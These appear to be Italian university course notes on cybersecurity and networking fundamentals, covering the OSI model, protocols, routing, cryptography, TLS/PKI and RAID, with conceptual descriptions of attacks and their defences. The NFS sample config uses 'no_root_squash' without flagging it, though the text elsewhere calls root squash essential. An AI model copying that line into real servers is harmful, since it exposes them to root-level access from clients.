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Legenda: Argomenti del corso Approfondimenti extra (fuori programma)
01

Fondamenti di Sicurezza

Triade CIA — Confidenzialità, Integrità, Disponibilità
Pilastri

La Triade CIA (anche nota come RID in italiano) è il modello fondamentale della sicurezza informatica. Ogni controllo di sicurezza esiste per proteggere almeno uno di questi tre principi.

PrincipioDefinizioneMinacce tipicheContromisure
C — ConfidenzialitàSolo chi è autorizzato accede ai datiIntercettazione, data breach, insider threatCrittografia, ACL, MFA, classificazione dati
I — IntegritàI dati non vengono alterati senza autorizzazioneTampering, SQL injection, MitM, ransomwareHash, firma digitale, checksum, RBAC
A — Availability (Disponibilità)I sistemi sono accessibili quando necessarioDDoS, ransomware, guasto hardware, cancellazioneRidondanza, RAID, backup, BCP/DR

Ogni decisione di sicurezza comporta trade-off tra i tre principi. Esempio: la massima disponibilità (nessun downtime) può confliggere con la confidenzialità (dati non cifrati per velocità). La sicurezza è trovare il bilanciamento corretto per il contesto.

💡 Alcuni modelli aggiungono un quarto principio: Non ripudio (chi ha eseguito un'azione non può negarlo — garantito da firma digitale e log). La versione italiana è RID: Riservatezza, Integrità, Disponibilità.
CVE — Common Vulnerabilities and Exposures

Identificatore pubblico univoco per ogni vulnerabilità nota. Formato: CVE-ANNO-NUMERO (es. CVE-2021-44228 = Log4Shell). Database ufficiale: NVD (National Vulnerability Database) del NIST.

CVSS — Common Vulnerability Scoring System

Punteggio 0–10 che valuta la gravità di una CVE. Considera: vettore d'attacco, complessità, privilegi richiesti, impatto su riservatezza, integrità e disponibilità.

None
0.0
Low
0.1–3.9
Medium
4.0–6.9
High
7.0–8.9
Critical
9.0–10
💡 CVSS ≥ 9.0 = CRITICO → patching immediato. Un 0-Day con CVSS alto è la combinazione più pericolosa.
0-Day / Zero-Day

Vulnerabilità scoperta e sfruttabile per cui NON esiste ancora una patch.

  1. Vulnerabilità scoperta
  2. Segnalazione → apertura CVE
  3. Il produttore sviluppa la patch
  4. Patch distribuita e installata
SOC & CISO

SOC (Security Operations Center): unità H24/365 per monitoraggio, threat detection, incident response e threat intelligence.

CISO (Chief Information Security Officer): responsabile della strategia di sicurezza. Riporta al CEO/CTO. Definisce policy, budget e compliance (GDPR, ISO 27001).

Patch Management

Processo continuo: inventario asset → scansione CVE → prioritizzazione CVSS → test staging → deploy → verifica.

⚠️ La finestra tra pubblicazione CVE e deploy della patch è il periodo di massima esposizione. Virtual patching via WAF come soluzione temporanea.
Sicurezza dei Sistemi Operativi
OS Hardening

La sicurezza a livello di sistema operativo è la base su cui poggiano tutte le difese applicative. Un OS mal configurato vanifica qualsiasi controllo superiore.

AreaPrincipioEsempi pratici
HardeningRidurre la superficie di attaccoDisabilitare servizi inutili, chiudere porte non usate, rimuovere software superfluo
Patch managementAggiornare sistematicamenteWindows Update, apt/yum, patch di sicurezza critiche entro 24-72h
Gestione accountMinimo privilegio e separazioneNo account condivisi, disabilitare Administrator/root diretto, sudo con audit
File systemPermessi corretti e separazioneACL, chmod, SELinux/AppArmor, cifratura disco (BitLocker, LUKS)
LoggingAuditabilità completaSyslog/Event Log centralizzati, log login falliti, sudo usage
AntimalwareProtezione runtimeAV/EDR, Windows Defender, ClamAV su Linux

CIS Benchmarks — linee guida di hardening per ogni OS (Windows, Linux, macOS) prodotte dal Center for Internet Security. Standard di riferimento per audit e compliance.

OSMeccanismo di controllo accessi mandatorio
LinuxSELinux (Red Hat/CentOS) · AppArmor (Ubuntu/Debian)
WindowsMandatory Integrity Control (MIC) · UAC · Windows Defender Credential Guard
macOSSystem Integrity Protection (SIP) · Gatekeeper · Sandbox
⚠️ L'80% degli attacchi sfrutta vulnerabilità note con patch disponibile. Il patch management è la contromisura con il miglior rapporto costo/efficacia.
Il Fattore Umano nella Cybersecurity
Human-centric

Il fattore umano è la vulnerabilità più difficile da patchare. Il 90%+ degli incidenti di sicurezza ha una componente umana — errori, ingenuità, negligenza o dolo.

CategoriaComportamentoEsempio
Errore involontarioMisconfiguration, click sbagliatoS3 bucket reso pubblico per errore, click su link phishing
NegligenzaIgnora le policy di sicurezzaPassword riutilizzate, USB trovata inserita, aggiornamenti ignorati
Insider threatDipendente malevolo intenzionaleEsfiltrazione dati prima di lasciare l'azienda
Ingegneria socialeManipolazione psicologicaPhishing, pretexting, vishing

Identità digitale — l'insieme delle credenziali e attributi che identificano un utente nei sistemi digitali. Include:

  • Credenziali di autenticazione (username/password, certificati, token)
  • Attributi di profilo (ruolo, reparto, livello di accesso)
  • Impronta comportamentale (orari di lavoro, dispositivi usati, pattern di accesso)

Programma di Security Awareness — formazione continua obbligatoria per ridurre il rischio umano:

  • Phishing simulation — campagne di test periodiche
  • Training annuale obbligatorio su policy aziendali
  • Incident reporting culture — incentivare la segnalazione senza penalizzare gli errori
  • Clean desk policy, password policy, use of corporate devices
💡 Secondo il Verizon DBIR, le credenziali compromesse sono coinvolte nel 49% dei breach. La formazione riduce il click rate sui link phishing dall'~30% a meno del 5% nei programmi ben strutturati.
04

Modello OSI — 7 Livelli

ISO/IEC 7498-1 — I sette livelli della comunicazione
#NomeFunzioneProtocolli / Esempi
7ApplicazioneServizi per l'utente finaleHTTP/S, FTP, DNS, SSH, SNMP, NFS, SMB
6PresentazioneFormato, compressione, cifraturaTLS/SSL, MIME, JPEG, ASCII
5SessioneApertura/chiusura sessioniNetBIOS, RPC, PPTP
4TrasportoConsegna end-to-end affidabileTCP, UDP, SCTP
3ReteInstradamento tra reti diverseIP, ICMP, ARP*, OSPF, RIP, BGP
2Data LinkFrame, indirizzamento MAC, correzione erroriEthernet (802.3), Wi-Fi (802.11), PPP, Frame Relay, MPLS
1FisicoTrasmissione segnali elettrici/ottici/radioCavi UTP/STP, fibra ottica, onde radio, DSL
💡 WAF=L7 · HTTP/HTTPS=L7 · DNS=L7 · SSH=L7 · SNMP=L7 · NFS/SMB=L7 · TLS=L6 · TCP/UDP=L4 · IP/ICMP/OSPF/RIP=L3 · Ethernet/Wi-Fi/PPP=L2 · Cavi/fibra=L1  |  *ARP opera tra L2 e L3
L1 Fisico & L2 Data Link — Protocolli e tecnologie
IEEE 802.x

Livello 1 — Fisico: si occupa della trasmissione grezza di bit sul mezzo fisico. Non conosce frame, indirizzi o protocolli — solo segnali.

TecnologiaStandardUso tipico
Ethernet (cavi UTP)IEEE 802.3 · Cat5e/6/6aLAN domestiche, aziendali, data center
Wi-FiIEEE 802.11a/b/g/n/ac/axReti wireless; 2.4 GHz (portata) / 5 GHz (velocità) / 6 GHz (Wi-Fi 6E)
Fibra OtticaG.652 (SMF), OM3/OM4 (MMF)Backbone di rete, reti metropolitane, WAN, ISP
DSLG.992 (ADSL), G.993 (VDSL)Connessioni broadband su doppino telefonico

Livello 2 — Data Link: gestisce la consegna frame-per-frame sulla stessa rete fisica. Usa indirizzi MAC (48 bit) e si divide in due sottolivelli: LLC (controllo logico) e MAC (controllo accesso al mezzo).

ProtocolloContestoCaratteristiche
Ethernet (802.3)LAN cablataFrame con MAC src/dst, FCS per integrità. Standard dominante.
PPP (Point-to-Point)Link seriali, DSL, VPNAutenticazione (PAP/CHAP), compressione, connessioni punto a punto
Frame RelayWAN legacyCommutazione di pacchetti variabili in rete WAN; usa DLCI come identificatore
MPLSWAN enterprise, ISPSwitching basato su label (etichette): crea tunnel LSP virtuali per QoS e VPN. Opera tra L2 e L3 ("L2.5")
💡 MPLS è spesso chiamato "L2.5" perché si inserisce tra L2 e L3 — aggiunge un header di label tra l'header Ethernet e l'header IP. Permette agli ISP di creare VPN e garantire QoS senza guardare l'IP di ogni pacchetto, migliorando le prestazioni.
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Hardware di Rete

Switch vs Router
L2 / L3
CaratteristicaSwitchRouter
Livello OSIL2 (Data Link) — L3 per switch managed avanzatiL3 (Rete)
FunzioneCollega dispositivi nella stessa LAN usando indirizzi MACCollega reti diverse, instrada pacchetti IP tra di esse
Indirizzo usatoMAC (Media Access Control)IP (Internet Protocol)
Tabella internaMAC Address Table (CAM table)Routing Table
BroadcastPropaga i broadcast nella VLANBlocca i broadcast tra reti diverse
SegmentazioneVLAN (Virtual LAN)Subnet e instradamento inter-VLAN
💡 Switch Layer 3 (multilayer): ha le funzioni di switch L2 + capacità di routing IP — si usano nei data center per ridurre il traffico verso il router core. Non ha una WAN interface come un router tradizionale.
Access Point & Wireless Controller
IEEE 802.11

Un Access Point (AP) estende la rete cablata in modalità wireless, permettendo ai dispositivi Wi-Fi di connettersi. Un Wireless Controller centralizza la gestione di decine o centinaia di AP — tipico in ambienti enterprise.

ModalitàAP AutonomoAP Gestito (con Controller)
ConfigurazioneSingola, sul dispositivoCentralizzata sul controller
ScalabilitàLimitata (uffici piccoli)Alta (campus, aeroporti, hotel)
RoamingManuale / discontinuoSeamless (hand-off automatico)
SicurezzaConfigurata per APPolicy uniformi, RADIUS centralizzato

Standard IEEE 802.11:

StandardNomeBandaVelocità max
802.11nWi-Fi 42.4 / 5 GHz600 Mbps
802.11acWi-Fi 55 GHz3.5 Gbps
802.11axWi-Fi 6/6E2.4 / 5 / 6 GHz9.6 Gbps
Modem & Gateway
L1/L3

Modem (MOdulator-DEModulator): converte il segnale digitale della rete LAN nel segnale analogico/fisico del provider (DSL, fibra, coassiale). Opera a L1.

Gateway: dispositivo che collega due reti con protocolli diversi. In senso pratico, il router di casa è il "gateway predefinito" della LAN verso Internet — ogni pacchetto destinato fuori dalla subnet locale viene inviato qui.

DispositivoLivello OSIFunzione principale
HubL1 — FisicoRipetitore di segnale, broadcast su tutte le porte (obsoleto)
SwitchL2 — Data LinkInstradamento frame per MAC address
Router / GatewayL3 — ReteInstradamento pacchetti per IP
FirewallL3–L7Filtro traffico per regole di sicurezza
Sicurezza Wireless — WPA2 & WPA3
IEEE 802.11i

La sicurezza Wi-Fi si è evoluta in risposta a vulnerabilità scoperte nei protocolli precedenti:

ProtocolloAnnoCifraturaStato
WEP1997RC4 (rotto)❌ Deprecato — crackabile in minuti
WPA2003TKIP (RC4)❌ Vulnerabile
WPA22004AES-CCMP✔ Standard corrente (vulnerabile a PMKID attack)
WPA32018AES-GCMP + SAE✔✔ Standard raccomandato — protegge da brute force offline

WPA3 miglioramenti chiave: SAE (Simultaneous Authentication of Equals) sostituisce PSK — anche se la password viene catturata, le sessioni precedenti restano protette (Perfect Forward Secrecy). Evil Twin / PMKID Attack: l'attaccante crea un falso AP con lo stesso SSID per intercettare le credenziali — difesa: 802.1X con certificati server.

⚠️ WPA2 con password debole è vulnerabile ad attacchi dizionario offline sul 4-Way Handshake. Password di almeno 20 caratteri casuali + WPA3 dove possibile + separazione VLAN tra rete guest e aziendale.
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Topologie di Rete

Confronto topologie
TopologiaMeccanismoGuasto nodoGuasto cavoScalabilità
BusBroadcast su cavoIsolato⚠ Rete giùBassa
StellaSwitch centrale✓ Isolato✓ IsolatoAlta
AnelloTOKEN antiorario⚠ Blocca*⚠ BloccaMedia
MagliaLink multipli OSPF/BGP✓ Bypass✓ BypassAlta
AlberoCore→Dist→AccessParzialeParzialeAlta
IbridaCombinazioneDipendeDipendeAlta

* MAU bypassa automaticamente il nodo guasto.

TOKEN Ring — IEEE 802.5

TOKEN = frame speciale che circola antiorario. Solo chi ha il token può trasmettere. Deterministico, no collisioni. Oggi obsoleto — sostituito da Ethernet.

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Struttura di un Indirizzo IP

IPv4 — Come è fatto

32 bit = 4 ottetti decimali separati da punti. Ogni ottetto: 0–255.

192   .  168   .    1   .   10
11000000.10101000.00000001.00001010

→ Parte di RETE  : determinata dalla subnet mask
→ Parte di HOST  : identifica il singolo dispositivo

IPv6: 128 bit, 8 gruppi esadecimali. 2001:db8::1 (:: = gruppi di zeri omessi)

Classi IPv4 & Indirizzi privati (RFC 1918)
ClasseIntervalloMaskHostUso
A1.x – 126.x/816.7MGrandi ISP
B128.x – 191.x/1665.534Reti medie
C192.x – 223.x/24254LAN piccole
D224.x – 239.xMulticast

Privati RFC 1918 (non instradati su Internet): 10.0.0.0/8 · 172.16.0.0/12 · 192.168.0.0/16

Speciali: 127.0.0.1 loopback · 169.254.x.x APIPA · 255.255.255.255 broadcast globale

06

Protocolli di Rete

TCP vs UDP
L4
CaratteristicaTCPUDP
Connessione✔ 3-Way Handshake (SYN→SYN-ACK→ACK)❌ Connectionless
Affidabilità✔ Numeri di sequenza + ritrasmissione❌ Best effort — nessuna garanzia
Ordine✔ Garantito (reordering buffer)❌ Non garantito
OverheadHeader 20 byte + ack + statoHeader 8 byte — minimo
Uso tipicoHTTP/S, SSH, FTP, emailStreaming, DNS, VoIP, gaming

3-Way Handshake TCP:

Client → Server:  SYN  (seq=x)
Server → Client:  SYN-ACK  (seq=y, ack=x+1)
Client → Server:  ACK  (ack=y+1)  →  connessione stabilita

UDP: elimina tutto l'overhead di controllo (sequenze, ack, ritrasmissioni) per massimizzare la velocità. Dove la perdita di un singolo pacchetto è meno grave del ritardo — streaming video, VoIP, gaming — UDP è la scelta corretta.

💡 TCP = telefonata (connessione, ordine, conferma). UDP = radio (veloce, senza ricevuta). SYN flood = attacco DoS che satura la tabella di stato TCP del server con handshake incompleti.
Porte comuni
ServizioPortaProtoNote
HTTP80TCPWeb non cifrato
HTTPS443TCPHTTP + TLS
DNS53UDP/TCPRisoluzione nomi
SSH22TCPAccesso remoto cifrato
FTP21TCPTrasferimento file
SMTP25TCPInvio email
SNMP161UDPMonitoraggio dispositivi
NFS2049TCP/UDPFile sharing Linux
SMB445TCPFile sharing Windows
RDP3389TCPDesktop remoto Windows
Telnet23TCP❌ In chiaro
ICMP — Internet Control Message Protocol
L3

Solo diagnostica e controllo — non trasporta dati utente. Integrato in IP, non ha porte.

  • ping → Echo Request/Reply — verifica raggiungibilità e latenza
  • traceroute → sfrutta il campo TTL (Time To Live) del pacchetto IP: invia pacchetti con TTL crescente (1, 2, 3...). Ogni router decrementa il TTL; quando arriva a 0 risponde con un messaggio ICMP "Time Exceeded" rivelando il suo IP. In questo modo si mappa l'intero percorso hop per hop.
  • Messaggi errore: Port Unreachable, Net Unreachable, Redirect

Abusi:

  • Ping flood (DoS): saturazione della banda e della CPU del target con Echo Request massivi
  • ICMP Tunneling: un malware inserisce dati esfiltrati nel campo payload di un Echo Request. Poiché molti firewall lasciano passare i ping senza ispezionarne il contenuto, i dati escono silenziosamente dalla rete. Difesa: deep packet inspection o blocco ICMP in uscita
ARP — Address Resolution Protocol
L2/L3 · Broadcast

Risolve un indirizzo IP in indirizzo MAC sulla stessa rete locale. Prima di inviare un frame Ethernet, l'host deve conoscere il MAC del destinatario — ARP lo scopre via broadcast.

Host A (192.168.1.10) vuole parlare con Host B (192.168.1.20):
1. A → broadcast: "Chi ha 192.168.1.20? Dimmi il tuo MAC"
2. B → A: "Sono io, il mio MAC è AA:BB:CC:DD:EE:FF"
3. A memorizza nella ARP cache: 192.168.1.20 → AA:BB:CC:DD:EE:FF

ARP Poisoning / Spoofing: un attaccante invia risposte ARP fasulle per associare il proprio MAC all'IP del gateway — tutto il traffico della rete passa attraverso di lui (Man-in-the-Middle). Difesa: Dynamic ARP Inspection (DAI) sugli switch managed, segmentazione VLAN.

⚠️ ARP non ha autenticazione — chiunque nella LAN può rispondere a qualsiasi ARP request. È un protocollo di fiducia implicita, progettato per reti locali sicure. In ambienti non fidati (es. Wi-Fi pubblico) è facilmente sfruttabile.
DHCP — Dynamic Host Configuration Protocol
L7 · UDP 67/68

Assegna automaticamente IP, subnet mask, gateway predefinito e server DNS ai client della rete. Senza DHCP, ogni dispositivo richiederebbe configurazione manuale.

Sequenza DORA:

Client → broadcast:  DISCOVER  (cerco un server DHCP)
Server → client:     OFFER     (ti offro 192.168.1.50/24, gw .1, dns 8.8.8.8)
Client → broadcast:  REQUEST   (accetto l'offerta del server X)
Server → client:     ACK       (confermato, lease di 24 ore)
AttaccoMeccanismoDifesa
DHCP StarvationL'attaccante esaurisce il pool IP inviando migliaia di DISCOVER con MAC falsiPort security sullo switch (limite MAC per porta)
Rogue DHCP ServerServer DHCP malevolo risponde prima del legittimo → assegna gateway controllato dall'attaccanteDHCP Snooping sullo switch (solo porte trusted possono rispondere OFFER)
DNS — Domain Name System
L7 · UDP/TCP 53

Gerarchia distribuita che risolve nomi logici in indirizzi IP — non è una semplice tabella ma un albero: Root Servers (.) → TLD (.it, .com) → Nameserver Autoritativi del dominio. UDP per query veloci, TCP per trasferimenti di zona.

RecordFunzione
ADominio → IPv4
AAAADominio → IPv6
MXMail server del dominio
CNAMEAlias — punta a un altro nome
NSNameserver autoritativo della zona
PTRReverse DNS: IP → nome (usato da spam filter)

Vettori di attacco:

  • Zone Transfer (AXFR): se il nameserver è mal configurato, un attaccante può richiedere l'intero database della zona DNS — tutti gli host interni, IP, sottodomini — rivelando completamente la topologia della rete. Difesa: limitare AXFR ai soli nameserver secondari autorizzati.
  • DNS Spoofing / Cache Poisoning: inserimento di record DNS falsi nella cache del resolver per dirottare il traffico verso IP malevoli (phishing, MitM). Difesa: DNSSEC.
⚠️ DNSSEC aggiunge firme crittografiche ai record per garantirne origine e integrità. DoH (DNS over HTTPS) cifra le query DNS. Il DNS è vulnerabile per design: traffico UDP in chiaro, nessuna autenticazione in DNS puro.
NFS — Network File System
L7 · Porta 2049

Condivide directory tra sistemi Unix/Linux come se fossero dischi locali.

# Server — /etc/exports
/dati  192.168.1.0/24(rw,sync,no_root_squash)

# Client
mount -t nfs 192.168.1.5:/dati /mnt/condiviso
  • NFS vs SMB: NFS (porta 2049) = Linux/Unix · SMB (porta 445) = Windows — entrambi L7, protocolli di file sharing su rete IP
  • NFS vs SAN: NFS → accesso a FILE via IP (L7) · SAN → accesso a BLOCCHI via FC/iSCSI (fuori modello OSI classico)
  • root squash: opzione di sicurezza fondamentale — il client si presenta come root, ma il server mappa forzatamente quell'accesso all'utente anonimo nobody (UID 65534), impedendo che i privilegi root del client si propaghino sui file del server
⚠️ NFSv3 in chiaro → usare NFSv4 con Kerberos in produzione. SMB senza signing → vulnerabile a relay attack.
SNMP & OID
L7 · UDP 161

Monitora dispositivi di rete (router, switch, server). Componenti: NMS (manager) + Agent (sui dispositivi) + MIB (Management Information Base — il dizionario degli oggetti monitorabili).

OID (Object Identifier): indirizzo numerico gerarchico che identifica univocamente ogni dato monitorabile nella MIB:

OID: 1.3.6.1.2.1.1.1.0 = iso.org.dod.internet.mgmt.mib-2.system.sysDescr
VersioneAutenticazioneCifraturaSicurezza
v1Community string in chiaro❌ Nessuna❌ Deprecato
v2cCommunity string in chiaro❌ Nessuna❌ Non produzione
v3Modello USM (MD5/SHA)✔ DES/AES✔ Standard
⚠️ SNMP v1/v2 con community string "public" o "private" è una delle configurazioni di default più sfruttate in fase di ricognizione. SNMPv3 con il modello USM è l'unica versione accettabile in produzione — fornisce autenticazione forte e cifratura dei pacchetti di monitoraggio.
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Indirizzamento IP & Routing

Subnet & CIDR

AND bit a bit tra IP e maschera → indirizzo di rete. CIDR (/xx) supera le classi A/B/C.

CIDRMaskTotaleHost utili
/24255.255.255.0256254
/16255.255.0.065.53665.534
/8255.0.0.016.7M16.7M-2
/30255.255.255.25242 (point-to-point)
/16 vs /24 — Differenza pratica

/16: 192.168.x.x si vedono tutti direttamente → router invisibile → rete flat.

/24: 192.168.1.x NON vede 192.168.2.x → passa dal gateway → separazione reti, DMZ, VLAN.

💡 192.168.1.10 → 192.168.2.10 con /24: .10 vede che .2.10 è fuori subnet → manda al gateway → router consulta routing table → forwarda.
Gateway

Punto di uscita della rete locale. Se un host vuole raggiungere un IP fuori dalla sua subnet, invia il pacchetto al gateway che decide come instradarlo.

Routing statico vs dinamico
AspettoStaticoDinamico
ConfigurazioneManualeAutomatica
Adattamento guasti❌ No✔ Automatico
OverheadZeroCPU + banda
ScalabilitàBassaAlta
ProtocolliOSPF, RIP, BGP
OSPF — Open Shortest Path First
L3 · Link-State

Link-State: ogni router ha una copia dell'intera topologia della rete (LSDB — Link State Database). Usa l'algoritmo di Dijkstra per calcolare il percorso più breve basandosi sul costo — valore inversamente proporzionale alla bandwidth del link (banda alta = costo basso). Converge in secondi, nessun limite di hop. Multicast 224.0.0.5. Standard enterprise.

Aree OSPF: la rete è divisa in aree gerarchiche (Area 0 = backbone obbligatoria). Le aree riducono il volume di LSA (Link State Advertisement) e la dimensione della LSDB in reti molto grandi.

router ospf 1
  network 192.168.1.0 0.0.0.255 area 0
  network 10.0.0.0 0.255.255.255 area 0
💡 OSPF vs RIP: OSPF scala a qualsiasi dimensione, converge in secondi, usa la banda reale come metrica. RIP è semplice ma limitato a 15 hop e converge in minuti.
RIP v1 & RIP v2
L3 · Distance Vector

Distance Vector: ogni router conosce solo la direzione e la distanza in hop verso le destinazioni, non la topologia completa. Algoritmo Bellman-Ford. Aggiornamento ogni 30s, convergenza lenta (minuti). Limite massimo: 15 hop — alla metrica 16 la destinazione è considerata irraggiungibile (∞). Questo limite nasce per prevenire il counting-to-infinity loop.

CaratteristicaRIP v1RIP v2OSPF
TipoDistance VectorDistance VectorLink State
Max hop15 (16=∞)15 (16=∞)Nessun limite
AggiornamentoBroadcastMulticast 224.0.0.9Multicast 224.0.0.5
VLSM/CIDR
Autenticazione✔ MD5
ConvergenzaLenta (minuti)Lenta (minuti)Veloce (secondi)
⚠️ Problemi noti: counting to infinity · split horizon · route poisoning (metrica 16 = ∞ per segnalare route non raggiungibili).
SD-WAN — Software-Defined Wide Area Network
L3 · Overlay/Underlay

Gestisce via software più link eterogenei (MPLS, broadband, LTE, 5G) in parallelo. Il modello è Overlay/Underlay: la rete logica SD-WAN (overlay) si sovrappone alla rete fisica sottostante (underlay) indipendentemente dal tipo di connessione.

  • Failover automatico tra link — se il link MPLS cade, il traffico passa su broadband in ms
  • Traffic shaping per applicazione — priorità a VoIP/videoconferenza su link congestionato
  • Gestione centralizzata via controller cloud — visibilità e policy da un'unica console
  • Costo molto inferiore a MPLS dedicato mantenendo qualità del servizio
💡 SD-WAN opera a L3 (instradamento IP) ma la sua intelligenza risiede nel controller centralizzato (piano di controllo separato dal piano dati — principio dello SDN).
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Crittografia

Hash & Digest

Funzione UNIDIREZIONALE: trasforma dati di qualsiasi dimensione in una stringa fissa di caratteri esadecimali. Dall'hash è computazionalmente impossibile risalire ai dati originali.

  • Integrità file: confronta hash scaricato con quello ufficiale
  • Password: hashate con SALT univoco → anche in caso di breach l'attaccante ha solo hash
  • Blockchain: ogni blocco contiene l'hash del precedente → modificarlo invalida la catena
AlgoritmoBitSicurezzaUso
MD5128❌ InsicuroSolo checksum rapidi
SHA-1160❌ DeprecatoLegacy
SHA-256256✔ SicuroTLS, firme, Bitcoin
bcrypt/Argon2var.✔✔Password: lenti by design
"ciao" → b94f6f125c79e3a5ffaa826f584c10d52ada669e6762051b826b55776d05a8df
Crittografia Simmetrica
Chiave unica

Mittente e destinatario usano la stessa chiave per cifrare e decifrare. Veloce, adatta a grandi volumi di dati.

AlgoritmoChiaveStatoUso
DES56 bit❌ DeprecatoLegacy
3DES112/168 bit❌ DeprecatoLegacy
AES-128128 bit✔ SicuroWPA2, TLS, disco
AES-256256 bit✔✔ Standard oroVPN, full-disk, gov
ChaCha20256 bit✔ SicuroTLS mobile
⚠️ Il problema della simmetrica è lo scambio sicuro della chiave — risolto dalla crittografia asimmetrica.
Crittografia Asimmetrica
Coppia chiavi

Coppia di chiavi matematicamente legate: chiave pubblica (distribuibile) e chiave privata (segreta). Ciò che cifra una, decifra solo l'altra.

ScenarioChiave pubblicaChiave privata
Cifrare messaggioCifra (destinatario)Decifra (destinatario)
Firma digitaleVerifica firmaCrea firma (mittente)
AlgoritmoBase matematicaUso tipico
RSA-2048/4096Fattorizzazione numeri grandiTLS, SSH, firme
ECC (P-256, P-384)Curve ellitticheTLS moderno, mobile
Diffie-HellmanLogaritmo discretoScambio chiave di sessione TLS
💡 In pratica: asimmetrica per scambiare la chiave di sessione → poi simmetrica (AES) per la velocità. È il cuore di TLS.
PKI — Public Key Infrastructure
X.509

Infrastruttura gerarchica che gestisce il ciclo di vita dei certificati digitali, garantendo l'autenticità delle chiavi pubbliche.

ComponenteRuolo
Root CAAutorità suprema, tenuta offline per sicurezza
Intermediate CAEmette certificati end-entity per conto della Root
Certificato X.509Lega chiave pubblica a identità (dominio, persona, org.)
CRLCertificate Revocation List — elenco certificati revocati
OCSPVerifica real-time validità certificato (alternativa a CRL)
Wildcard cert*.dominio.it copre tutti i sottodomini di primo livello
TLS/SSL — Transport Layer Security
L6 · Porta 443

Protocollo che garantisce riservatezza, integrità e autenticazione nelle comunicazioni. SSL è il predecessore deprecato. È il fondamento della PKI moderna.

VersioneStato
SSL 2.0 / 3.0❌ Deprecato (POODLE, DROWN)
TLS 1.0 / 1.1❌ Deprecato (RFC 8996, 2021)
TLS 1.2✔ Accettabile (usare con cipher suite forti)
TLS 1.3✔✔ Standard attuale — 1-RTT, algoritmi deboli rimossi

TLS 1.3 vs 1.2: la versione 1.3 ha eliminato algoritmi storicamente deboli (MD5, RC4, RSA statico) e ridotto i round-trip dell'handshake da 2 a 1-RTT — connessioni più veloci e più sicure by design.

Handshake ibrido (cuore di TLS): la crittografia asimmetrica (ECDHE/RSA) viene usata solo per scambiare una chiave di sessione monouso — poi tutta la comunicazione usa crittografia simmetrica (AES-GCM), molto più veloce per i volumi di dati reali.

ClientHello → ServerHello + certificato → verifica CA
→ scambio chiave sessione (ECDHE) → dati cifrati AES-GCM
💡 HTTPS = HTTP + TLS. Il lucchetto indica TLS attivo ma non garantisce che il sito sia legittimo — il phishing usa HTTPS! Verifica sempre il dominio, non solo il lucchetto.
Firma Digitale
Non ripudio

Garantisce autenticità (chi ha firmato), integrità (il documento non è stato alterato) e non ripudio (il mittente non può negare).

  1. Il mittente calcola l'hash del documento (es. SHA-256)
  2. Cifra l'hash con la propria chiave privata → firma digitale
  3. Il destinatario decifra la firma con la chiave pubblica del mittente
  4. Confronta l'hash ottenuto con quello ricalcolato sul documento ricevuto
✔ Se gli hash coincidono: documento integro e mittente autentico. Algoritmi usati: RSA+SHA256, ECDSA, EdDSA.
Key Management — Gestione delle Chiavi
Crittografia applicata

L'efficacia della crittografia dipende interamente dalla sicurezza delle chiavi. La gestione del ciclo di vita delle chiavi è un processo critico.

FaseDescrizione
GenerazioneRNG crittograficamente sicuro (CSPRNG), entropia sufficiente
DistribuzioneCanale sicuro (asimmetrica, DH, KEM) o HSM
StorageHSM, Key Vault (Azure/AWS KMS), mai in chiaro
RotazioneSostituzione periodica; obbligatoria dopo compromissione
RevocaCRL / OCSP per certificati; immediata in caso di breach
DistruzioneCancellazione sicura (overwrite, distruzione fisica HSM)
StrumentoTipoUso
HSM (Hardware Security Module)HardwareGenera e protegge chiavi in hardware dedicato, non esportabili
AWS KMSCloudKey management gestito, integrato con servizi AWS
Azure Key VaultCloudChiavi, segreti e certificati in Azure
HashiCorp VaultSoftwareKey management open source, multi-cloud
⚠️ Una chiave AES-256 compromessa invalida tutta la crittografia basata su di essa, indipendentemente dall'algoritmo. La chiave è il segreto, non l'algoritmo.
Full Disk Encryption — BitLocker & FileVault
Crittografia a riposo

La Full Disk Encryption (FDE) cifra l'intero disco rigido — sistema operativo, dati, file temporanei — proteggendo i dati anche in caso di furto fisico del dispositivo. Senza la chiave/PIN, il disco è illeggibile.

StrumentoOSAlgoritmoNote
BitLockerWindows (Pro/Enterprise)AES-128/256 (XTS)Integrato nell'OS; usa TPM per la chiave di avvio. Recovery key su Active Directory o Microsoft Account
FileVaultmacOSXTS-AES-128Integrato in macOS; attivabile da Preferenze di Sistema → Sicurezza. Recovery key locale o iCloud
LUKSLinuxAES-256Linux Unified Key Setup — standard de facto Linux, gestito con cryptsetup
VeraCryptCross-platformAES/Serpent/TwofishOpen source, supporta volumi nascosti (plausible deniability)

TPM (Trusted Platform Module): chip hardware che custodisce la chiave di cifratura del disco e la rilascia solo se la sequenza di avvio è integra — protegge da tampering fisico della sequenza di boot.

⚠️ FDE protegge i dati a riposo (dispositivo spento/rubato) ma NON mentre il sistema è in esecuzione e sbloccato. Un malware che gira su un sistema avviato ha accesso ai dati in chiaro — la FDE non sostituisce antivirus/EDR e controllo accessi.
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Infrastruttura & RAID

NAS vs SAN vs CSV
TecnologiaAccessoReteUso principale
NASFILE (SMB, NFS) via IPIP condivisaFile sharing, backup
SANBLOCCO (Fibre Channel, iSCSI) — il server vede il disco remoto come LUN (Logical Unit Number), cioè come se fosse collegato fisicamenteRete dedicata (FC fabric)Database mission-critical, virtualizzazione
CSVAstrazione su SAN (volume condiviso)Rete cluster dedicataAlta disponibilità — Failover Clustering
RAIDArray di dischi indipendentiLocale/internoRidondanza fisica e performance

CSV (Cluster Shared Volumes) è un livello di astrazione sopra la SAN che permette a più nodi di un cluster Windows di accedere allo stesso volume contemporaneamente — fondamentale per l'alta disponibilità (es. Failover Cluster, Hyper-V live migration). Non va confuso con il formato CSV testuale (Comma-Separated Values).

💡 NAS → accesso file via rete IP · SAN → accesso a blocchi via rete dedicata · CSV → astrazione SAN per cluster ad alta disponibilità. La scelta dipende da latenza, costo e requisiti di failover.
RAID — Redundant Array of Independent Disks
RAID 0
Striping
Velocità max. Zero ridondanza: un disco rotto = tutto perso.
RAID 1
Mirroring
Copia esatta su 2 dischi. Ottima ridondanza, spazio dimezzato.
RAID 2
Bit striping + ECC
Storico, codice Hamming. Praticamente mai usato.
RAID 5
Stripe + parità XOR
Tolera 1 disco rotto. Parità distribuita (XOR). Min. 3 dischi.
RAID 6
Doppia parità
Tolera 2 dischi rotti. Min. 4 dischi. Più lento in scrittura.
RAID 1+0
Mirror → Stripe
Prima mirror, poi stripe. Prestazioni + ridondanza premium.
RAID 0+1
Stripe → Mirror
Prima stripe, poi mirror. Meno resiliente di RAID 10.
RAID 5 — 3 dischi:
D1: A1   D2: A2   D3: parità(A1 XOR A2)
D1: par  D2: B1   D3: B2   ← parità ruota
